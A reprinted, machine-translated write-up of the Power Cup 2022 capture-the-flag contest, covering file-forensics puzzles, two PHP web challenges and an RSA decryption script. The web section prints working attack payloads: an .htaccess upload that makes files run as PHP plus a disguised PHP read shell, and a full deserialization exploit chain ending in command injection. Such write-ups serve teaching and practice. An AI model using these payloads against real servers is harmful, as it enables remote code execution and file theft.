Power Cup 2022 Writeup

Original link: https://5ime.cn/qgb-2022.html

write in front

I feel that the competition experience is average. It is understandable that after all, this competition is the first time. The sign-in question was squatted on time at 8:59 , and the sign-in question was only at 9:01 ? ! At first I thought there was no sign in question…

The collapse of the game question fans (the game team said: the flag echo has become the default value, so the obtained flag is not the correct flag, and the problem is maintained offline, but more than a dozen teams have already submitted successfully?! Then all the PWN were offline and maintained. And the Web question type, after the re-launch, except for one, two and three blood, other teams need to resubmit…

The second is that the final environment has become like this. It cannot be destroyed, delayed, or reopened.

image-20220717184123508

Misc

Welcome_to_QGB

base64 decoding to get flag

find gifs

aaa found that the file header is png , we directly changed it to aaa.png

image-20220717010044434

After the modification, it is obvious that the image is bbb.zip half, directly change the height, and rotate the image to get the decompression password of fHKKjfido%^&v1

image-20220717010254035

After decompression, we get bbb and then we find the key string NETSCAPE2.0 This string indicates that the file is GIF

image-20220717010425862

We add the file header 47 49 46 38 39 61 and change the file name to bbb.gif to get the flag

image-20220717010918792

big boss big boss

lsb steganography, directly exported as flag.png

image-20220717011122132

Then modify the file height

image-20220717011223763

The fun picture

Blasting out the password is 6g3T

image-20220717011306242

After decompression, the three files flag and flag.txt are used to confuse us. Through a hexadecimal editor, it is found that FUN.png is actually a zip archive file. FUN.png changed to FUN.zip to get flag3 , and then it is found that flag3 missing. png file header 89 50 4e 47 , after adding, the file suffix is ​​changed to .png and scan the code to get the flag

image-20220717011626423

B@tCh

According to the characteristics of the file content, it is judged that it is a file encrypted by BatchEncryption ( [original tool][201610]BatchEncryption – batch encryption program ), and found a decryption script to restore the batch file confused by BatchEncryption (version 201610).

We just comment out lines 17-19 and change the value of i to 9 . Because the original 9-60 characters are the ::BatchEncryption Build 201610 By [email protected] string, but the title does not have this string, so we start decrypting from the 9 character instead, (in fact, use a hexadecimal editor If you add this string to the title, you don’t need to modify the script, but it feels a little troublesome

image-20220717182638899

Web

Upload

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
twenty three
twenty four
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
session_start ();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>" ;
error_reporting ( 0 );
if (! isset ( $_SESSION [ 'user' ])){
$_SESSION [ 'user' ] = md5 (( string ) time () . ( string ) rand ( 100 , 1000 ));
}
if ( isset ( $_FILES [ 'uploaded' ])) {
$target_path = getcwd () . "/upload/" . md5 ( $_SESSION [ 'user' ]);
$t_path = $target_path . "/" . basename ( $_FILES [ 'uploaded' ][ 'name' ]);
$uploaded_name = $_FILES [ 'uploaded' ][ 'name' ];
$uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 );
$uploaded_size = $_FILES [ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ];

if ( preg_match ( "/ph/i" , strtolower ( $uploaded_ext ))){
die ( "后缀名不可以有ph!" );
}
else {
if ((( $_FILES [ "uploaded" ][ "type" ] == "
" ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "uploaded" ][ "size" ] < 2048 )){
$content = file_get_contents ( $uploaded_tmp );
if ( preg_match ( "/\<\?/i" , $content )){
die ( "em..........这不还是php吗" );
}
else {
mkdir ( iconv ( "UTF-8" , "GBK" , $target_path ), 0777 , true );
move_uploaded_file ( $uploaded_tmp , $t_path );
echo " {$t_path} succesfully uploaded!" ;
}
}
else {
die ( "上传类型这么明显!" );
}
}
}
?>

The black box tested it, filtered ph and mime , we directly uploaded the picture horse, first uploaded a .htaccess file, and executed all the files as php

 1
2
3
4
5
6
7
8
9
10
11
12
 ------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition : form-data; name="uploaded"; filename=".htaccess"
Content-Type : image/jpeg

SetHandler application/x-httpd-php

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition : form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

Then I wrote a PHP sentence in JS . The most common sentence I wrote at the beginning was filtered. I looked at phpinfo and found that the command execution functions were all filtered out. I used the built-in function backhand, and first used var_dump() and scandir() . scandir() function prints the contents of the specified directory

 1
2
3
4
5
6
7
8
9
10
11
12
 ------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition : form-data; name="uploaded"; filename=".htaccess"
Content-Type : image/jpeg

GIF89a <script language="php">var_dump(scandir('/var/'))</script>

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition : form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

Then use the highlight_file() function to read the file content and get the flag.

 1
 GIF89 a <script language= "php" > highlight_file ( '/var/flag' )</script>

ezpop_new

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
twenty three
twenty four
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
function filter ( $string ) {
$safe = array ( 'system' , 'fopen' , 'fread' , 'file_get_contents' , 'flag' );
$safe = '/' . implode ( '|' , $safe ) . '/i' ;
return preg_replace ( $safe , 'nonono' , $string );
}
class PingUtils {
function __call ( $name , $args ) {
system ( "ping -c4 ${args[0]}" );
}
}
class Cindy {
var $someone ;
var $phone ;
function call ( ) {
$this ->phone-> call ( $this ->someone);
}
}
class Bob {
public $flag = True;
public function __get ( $a ) {
if ( $this ->flag) {
$cindy = new Cindy ();
$cindy ->someone = $_REQUEST [ 'someone' ];
$cindy ->phone = "p50" ;
#var_dump(filter(serialize($cindy)));
$cindy = unserialize ( filter ( serialize ( $cindy )));
$cindy -> call ( $someone );
} else {
echo 'nonono' ;
}
}
public function __wakeup ( ) {
$this ->flag = False;
}
}
class Alice {
public function __destruct ( ) {
echo $this ->c->b;
}
}
highlight_file ( __FILE__ );
@ unserialize ( $_GET [ 'pop' ]);

After auditing, we found that the final destination of deserialization is system("ping -c4 ${args[0]}"); in class PingUtils::__call() , we can control the args[0] parameter, and only need to By using the command separator ; to bypass the ping command and execute the desired command. Then push forward to find the entire POP chain:

 1
2
3
4
5
6
7
8
9
10
11
12
 class Alice :: __destruct ()
echo $ this -> c -> b ;
class Bob :: __wakeup () //绕过__wakeup ()
class Bob :: __get ($ a )
$ cindy = unserialize ( filter ( serialize ($ cindy ))); //字符串逃逸修改$ cindy -> phone
= " p50 "为$ cindy -> phone = " ls / flag "
$ cindy -> call ($ someone );
class Cindy :: call ()
$ this -> phone -> call ($ this -> someone );
class PingUtils :: __call ($ name ,$ args )
system (" ping - c4 $ {args[ 0 ]} ");

There are also two tricks involved in the deserialization process:

Bypass __wakeup()

Since we need to enter the if clause of class Bob::__get($a) , the Bob object will first trigger __wakeup() when deserializing, thus making its flag property False . So we manually modify the serialization stream so that when the number of attributes represented in the serialization stream is greater than the actual number of attributes, the execution of the __wakeup() magic method will be skipped.

Write exp:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php class Alice {
public $b ;
public $c ;
}
class Bob {
public $flag ;
}
$a = new Alice ();
$b = new Bob ();
$b ->flag = True;
$a ->c = $b ;
$a ->b = 'unknow' ;
?>

# 手动修改序列化流:
# O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}}
# O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D

It should be possible to modify the number of attributes of Alice or the number of attributes of Bob .

PHP string escape

Use $cindy->someone = $_REQUEST['someone']; to escape the string, thereby overwriting the phone property of the Cindy object in class Bob::__get($a) as the PingUtils object. And the command we want to execute is also stored in the somesone attribute.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
 # 1.本地调试,打印出Cindy对象序列化后的流
"O:5:" Cindy ":2:{s:7:" someone ";s:12:" flagflagflag ";s:5:" phone ";s:3:" p50 ";}"

# 2.组织我们要逃逸出的内容。共35个字符
";s:5:" phone ";O:9:" PingUtils ":0:{}}

# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。
O:5:" Cindy ":2:s:7:" someone ";s:213:" fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/ ";s:5:" phone ";O:9:" PingUtils ":0:{}}" ;s: 5 : "phone" ;s: 3 : "p50" ;}

# 4.替换后就是,溢出35个字符
O: 5 : "Cindy" : 2 :s: 7 : "someone" ;s: 213 : "nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /" ;s: 5 : "phone" ;O: 9 : "PingUtils" : 0 :{}} ";s:5:" phone ";s:3:" p50 ";}

# URL编码
%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

So the final complete payload is:

 1
 /?pop=O% 3 A5% 3 A% 22 Alice% 22 % 3 A3% 3 A% 7 Bs% 3 A1% 3 A% 22 b% 22 % 3 Bs% 3 A6% 3 A% 22 unknow% 22 % 3 Bs% 3 A1% 3 A% 22 c% 22 % 3 BO% 3 A3% 3 A% 22 Bob% 22 % 3 A1% 3 A% 7 Bs% 3 A4% 3 A% 22 flag% 22 % 3 Bb% 3 A1% 3 B% 7 D% 7 D&someone=% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 3 b% 6 c% 73 % 20 % 2 f% 22 % 3 b% 73 % 3 a% 35 % 3 a% 22 % 70 % 68 % 6 f% 6 e% 65 % 22 % 3 b% 4 f% 3 a% 39 % 3 a% 22 % 50 % 69 % 6 e% 67 % 55 % 74 % 69 % 6 c% 73 % 22 % 3 a% 30 % 3 a% 7 b% 7 d% 7 d

Crypto

babyRSA

 1
2
3
4
5
6
7
8
9
10
11
12
 import gmpy2
p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879
q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027
e = 33
c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458
n = p * q
fn = (p - 1 ) * (q - 1 )
d = gmpy2.invert(e, fn)
h = hex (gmpy2.powmod(c, d, n))[ 2 :]
if len (h) % 2 == 1 :
h= '0' + h
print (h)

The output content hexadecimal converted to a string is the flag

This article is reprinted from: https://5ime.cn/qgb-2022.html
This site is for inclusion only, and the copyright belongs to the original author.

Leave a Comment